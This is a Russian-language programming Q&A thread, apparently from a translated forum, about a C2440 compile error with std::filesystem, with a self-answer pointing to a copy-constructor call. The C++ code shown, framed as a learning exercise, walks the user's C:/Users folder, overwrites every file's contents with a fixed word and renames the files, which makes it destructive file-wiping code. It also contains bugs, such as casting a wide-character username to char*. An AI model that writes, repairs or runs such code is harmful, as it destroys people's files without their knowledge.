При работе с std :: filesystem сообщения об ошибках не могут преобразовать int в _Valty - PullRequest
0 голосов
/ 03 марта 2020

Я создаю программу, которая поможет мне понять все тонкости std :: filesystem. Однако, когда я пошел на сборку, я получил ошибку (C2440), что не могу преобразовать тип 'int' в '_Valty' при использовании directory_iterator в сочетании с directory_entry. Он показывает ошибку в коде файловой системы, поэтому я не знаю, где она вызывается в моем коде.

#include "Replacer.h"
#include<lmcons.h>


Replacer& Replacer::GetInstance()
{
    static Replacer instance;
    return instance;
}


void Replacer::Init()
{
    std::string base_path = "C:/Users/";

    // Get the username.
    WCHAR username[UNLEN + 1];
    DWORD username_len = UNLEN + 1;
    GetUserName(username, &username_len);

    // Add it to the string.
    base_path.append((char*)username);
    base_path.shrink_to_fit(); // Gotta make sure.

    // Set the base bath.
    begining_path = new fs::path(base_path);

    // Set the current path to the begginging path.
    current_path = new fs::path(begining_path); /// Hate that I have to use copy, but oh well.

    return;
}


void Replacer::Search(UINT cycles)
{
    // I have no interest in replacing folder names...
    // Just file names and data.

    for (UINT i = 0; i < cycles; ++i) // MAIN LOOP.
    {
        VisualUpdater(i);
        SearchCurrentPath(current_path);
    }

    return;
}


void Replacer::Unload()
{
    delete begining_path;
    delete current_path;

    begining_path = nullptr;
    current_path = nullptr;
}


Replacer::Replacer()
    : begining_path(), current_path()
{}


void Replacer::Replace(std::string& filename)
{
    // We have found a file that we need to replace.
    /// Of couse we have dumbass, we're here, aren't we?

    // Open up the file...
    std::ofstream out;
    out.open(filename, std::ios::out);

    out.clear(); // Clear the file.
    out.write(THE_WORD, std::string(THE_WORD).size()); // Replace the data with the word.

    // Replace the filename with the word.
    fs::rename(std::string(current_path->string()).append('/' + filename), THE_WORD);

    return;
}


void Replacer::ChangeDirectory(fs::directory_entry &iter)
{
    *current_path = iter.path(); // Change the current path to the next path.
    SearchCurrentPath(current_path); // This is where the recursion begins.
}


void Replacer::VisualUpdater(UINT cycles)
{
    std::cout << "\nCycle #: " << cycles;
    std::cout << "\nCurrent path: " << current_path->string();
    std::cout << "\nBase path: " << begining_path->string();

    std::cout << "\n" << NUM_CYCLES - cycles << " cycles left." << std::endl;
}


void Replacer::SearchCurrentPath(fs::path *curr)
{
    for (auto& i : fs::directory_iterator(curr->string()))
    {
        if (i.path().empty())
            continue; // This *does* come in handy.

        if (fs::is_regular_file(i)) // We have to check if it is a regular file so we can change the
        {   // name and the data.
            std::string temp(i.path().filename().string());
            Replace(temp);
        }

        else
        {
            // Here is where we move up a directory.
            fs::directory_entry entry = i;
            ChangeDirectory(entry);
        }
    }
}

Если бы мне пришлось сделать предположение, я бы предположил, что это последняя функция, написанная выше , но я не совсем уверен. У кого-нибудь есть идеи о том, как бы я go исправил это?

1 Ответ

0 голосов
/ 20 марта 2020

Итак, в конце концов я понял это. Для любого любопытного, это не было в нижних функциях. Это было место, где я использовал конструктор копирования в функции Init. Я думаю, файловой системе это не нравится.

...